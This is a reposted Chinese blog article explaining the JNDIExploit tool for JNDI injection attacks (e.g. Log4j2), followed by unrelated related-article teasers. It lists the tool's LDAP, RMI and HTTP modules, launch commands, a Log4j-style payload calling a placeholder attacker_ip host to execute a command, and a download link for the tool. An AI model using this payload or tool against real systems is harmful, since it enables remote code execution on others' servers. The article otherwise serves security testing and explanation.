JNDIExploit 工具详解

news/2026/1/19 11:11:19/文章来源:https://www.cnblogs.com/77burger/p/19500692

0x01 JNDIExploit 是什么

JNDIExploit 是一款用于 JNDI 注入漏洞利用与验证 的 Java 攻击辅助工具,常见版本如 JNDIExploit-1.x-SNAPSHOT-all.jar。该工具通过快速搭建 LDAP / RMI / HTTP 等恶意 JNDI 服务,在目标应用触发 JNDI Lookup 时向其返回可控引用,从而实现 远程类加载、反序列化执行或命令执行。

0x02 JDNIExploit 解决的核心问题

在不深入理解 JNDI 底层实现的情况下,快速完成 JNDI 注入漏洞的利用验证。具体体现在:
1.JNDI 服务搭建成本高:手动配置 LDAP、RMI、HTTP 服务复杂。
2.漏洞复现效率低:需要反复调整返回内容和协议细节。
3.攻击链整合困难:JNDI、反序列化、命令执行工具割裂。
4.新手门槛高:JNDI 协议细节难以快速掌握。

0x03 JNDIExploit 整体架构

可以概括为"多协议统一入口 + 利用方式参数化"
1.内置多种 JNDI 服务实现(LDAP / RMI / HTTP)。
2.统一启动入口,通过参数控制利用方式。
3.返回内容高度可控,支持命令执行、类加载、反序列化。
4.与 ysoserial 解耦但可联动,可直接承载序列化 payload。
在攻击链中,JNDIExploit 承担的是:JNDI Lookup 的响应者 + 利用载荷的分发者。

0x04 JNDIExploit 的主要模块

LDAP 服务模块

  • 用途:最常见的 JNDI 注入触发协议
  • 功能:返回恶意 Reference 或序列化对象
  • 典型漏洞:Log4j2、Spring JNDI 注入

RMI 服务模块

  • 用途:传统 JNDI 攻击方式
  • 功能:远程对象绑定与反序列化触发
  • 适用场景:旧版 JDK / 未限制 RMI 的环境

HTTP 代码托管模块

  • 用途:远程类加载
  • 功能:提供 .class 文件下载
  • 前提:目标 JDK 允许远程 codebase

命令执行载荷模块

  • 功能:直接返回触发 Runtime.exec 的对象
  • 特点:不依赖外部 ysoserial 即可执行

0x05 JNDIExploit 全模块命令

//启动 JNDIExploit 服务
java -jar JNDIExploit-1.2-SNAPSHOT-all.jar
//指定端口与利用方式
java -jar JNDIExploit-1.2-SNAPSHOT-all.jar -i 0.0.0.0 -p 1389
//典型 JNDI 注入 payload
${jndi:ldap://attacker_ip:1389/Basic/Command/whoami}

0x06 工具下载

链接:https://pan.quark.cn/s/a6f286514469
提取码:hxdM

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1182681.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

群晖Audio Station歌词插件完全配置指南

群晖Audio Station歌词插件完全配置指南 【免费下载链接】Synology-LrcPlugin Lyrics plugin for Synology Audio Station/DS Audio 项目地址: https://gitcode.com/gh_mirrors/sy/Synology-LrcPlugin 在群晖NAS上使用Audio Station听歌时,你是否曾经因为缺少…

终极指南:Open 3D Model Viewer - 免费全能3D模型解析工具

终极指南:Open 3D Model Viewer - 免费全能3D模型解析工具 【免费下载链接】open3mod Open 3D Model Viewer - A quick and powerful 3D model viewer 项目地址: https://gitcode.com/gh_mirrors/op/open3mod 在三维模型设计和开发的日常工作中,你…

redis 进阶 - 内存优化

Redis内存优化可以从多个角度进行,包括:数据结构优化 内存配置优化 数据过期策略 编码化 内用外部存储内存结构分析 内存组成 # 查看内存详情 redis-cli> INFO memory # 关键指标: # used_memory: 11845632 …

关于行为树可视化插件BehaviorDesigner

1、BehaviorTree的生命周期// OnAwake is called once when the behavior tree is enabled. Think of it as a constructor public virtual void OnAwake(); // OnStart is called immediately before execution. It i…

2026年专业的南昌辅材,南昌墙固地固辅材,南昌阴阳角线辅材公司优质供应商推荐清单 - 品牌鉴赏师

引言在建筑装修领域,辅材的质量与供应服务直接影响着装修工程的品质与进度。南昌作为中部地区重要的城市,其辅材市场的发展一直备受关注。为了给消费者、装修公司及施工团队提供更具参考价值的优质供应商信息,我们依…

Windows更新卡死怎么办?5个神奇修复步骤让你轻松搞定

Windows更新卡死怎么办?5个神奇修复步骤让你轻松搞定 【免费下载链接】Reset-Windows-Update-Tool Troubleshooting Tool with Windows Updates (Developed in Dev-C). 项目地址: https://gitcode.com/gh_mirrors/re/Reset-Windows-Update-Tool 你是不是也遇…

基于python和vue的厨房菜谱美食分享网站的设计与实现

目录项目背景与目标技术架构设计核心功能模块创新点与特色实现效果与意义开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!项目背景与目标 随着数字化生活的发展,人们对美食分享与…

C++各数据类型的内存和范围

C++各数据类型的内存和范围一、核心前提:类型大小的标准规则 C++标准仅规定最小字节数和取值范围下限,具体大小由编译器(如MSVC/GCC)、系统位数(32/64位)决定,以下是主流平台(x86/x64,GCC/MSVC)的通用值:字…

web入门121-130

web121 分析代码发现过滤了更多,用SHLVL也被禁用了,可以使用${##}或${#?}来代替 ${PWD::${##}}???${PWD::${##}}?????${#RANDOM}${IFS}????.???解码得到flagweb122 分析代码PWD被禁了,发现HOME没有…

基于ssm+vue的学习空间服务平台[ssm]-计算机毕业设计源码+LW文档

摘要:随着教育信息化的快速发展,学习空间服务平台成为提升学习体验和资源管理效率的重要工具。本文介绍了一个基于SSM(SpringSpringMVCMyBatis)后端和Vue前端的学习空间服务平台的设计与实现。该平台旨在整合学习资源,…

EVCC EEBus智能充电:解锁家庭能源管理新境界

EVCC EEBus智能充电:解锁家庭能源管理新境界 【免费下载链接】evcc Sonne tanken ☀️🚘 项目地址: https://gitcode.com/GitHub_Trending/ev/evcc 还在为电动汽车充电效率低下而烦恼吗?EVCC结合EEBus标准,让您的充电体验从…

基于python的电子商务购物商城系统设计与实现 协同过滤算法 多商家 会员折扣 积分兑换

目录基于Python的电子商务购物商城系统设计与实现开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!基于Python的电子商务购物商城系统设计与实现 该系统采用Python语言开发,结合D…

基于ssm+vue的网上代驾调度平台[ssm]-计算机毕业设计源码+LW文档

摘要:随着汽车保有量的增加和酒驾法规的严格,代驾服务需求日益增长。为了提高代驾调度的效率和准确性,本文设计并实现了基于SSM(SpringSpringMVCMyBatis)后端框架和Vue前端框架的网上代驾调度平台。该平台实现了用户管…

TrollInstallerX终极安装手册:iOS 14-16系统免越狱应用部署实战指南

TrollInstallerX终极安装手册:iOS 14-16系统免越狱应用部署实战指南 【免费下载链接】TrollInstallerX A TrollStore installer for iOS 14.0 - 16.6.1 项目地址: https://gitcode.com/gh_mirrors/tr/TrollInstallerX TrollInstallerX作为iOS 14.0至16.6.1系…

如何让每次OBS直播都像电影大片:StreamFX特效插件5分钟上手指南

如何让每次OBS直播都像电影大片:StreamFX特效插件5分钟上手指南 【免费下载链接】obs-StreamFX StreamFX is a plugin for OBS Studio which adds many new effects, filters, sources, transitions and encoders! Be it 3D Transform, Blur, complex Masking, or e…

Frigate开源监控系统:智能家庭安防的终极指南

Frigate开源监控系统:智能家庭安防的终极指南 【免费下载链接】frigate NVR with realtime local object detection for IP cameras 项目地址: https://gitcode.com/GitHub_Trending/fr/frigate 还在为传统监控系统的高昂费用、隐私担忧和复杂配置而烦恼吗&a…

【Linalg】ElementwiseOpFusion 中其他优化模式技术分析

【Linalg】ElementwiseOpFusion 中其他优化模式技术分析 本文介绍 mlir/lib/Dialect/Linalg/Transforms/ElementwiseOpFusion.cpp 中其他三种关键优化模式:populateFoldReshapeOpsByExpansionPatterns tensor::popula…

【2026】 LLM 大模型系统学习指南 (5)

Bonus HW:生成式 AI 进阶实践 —— 从基础到创新的加分挑战在掌握生成式 AI 基础后,加分项目(Bonus HW)更像是一次 “实战演练”—— 它不局限于简单的概念记忆或步骤复刻,而是鼓励大家把基础知识点转化为解决问题的能…

【2026】 LLM 大模型系统学习指南 (6)

上下文工程:让 AI Agent“记对事、不迷路” 的核心技术 —— 从原理到落地在和 AI 互动时,你可能遇到过这样的问题:让模型分析一整本教材,它却记不住中间章节的关键知识点;和 AI 助手多轮对话后,它突然忘了…

重塑音乐体验:探索新一代插件管理器的无限可能

重塑音乐体验:探索新一代插件管理器的无限可能 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 您是否曾想过,让网易云音乐焕发全新活力?告别功能单一…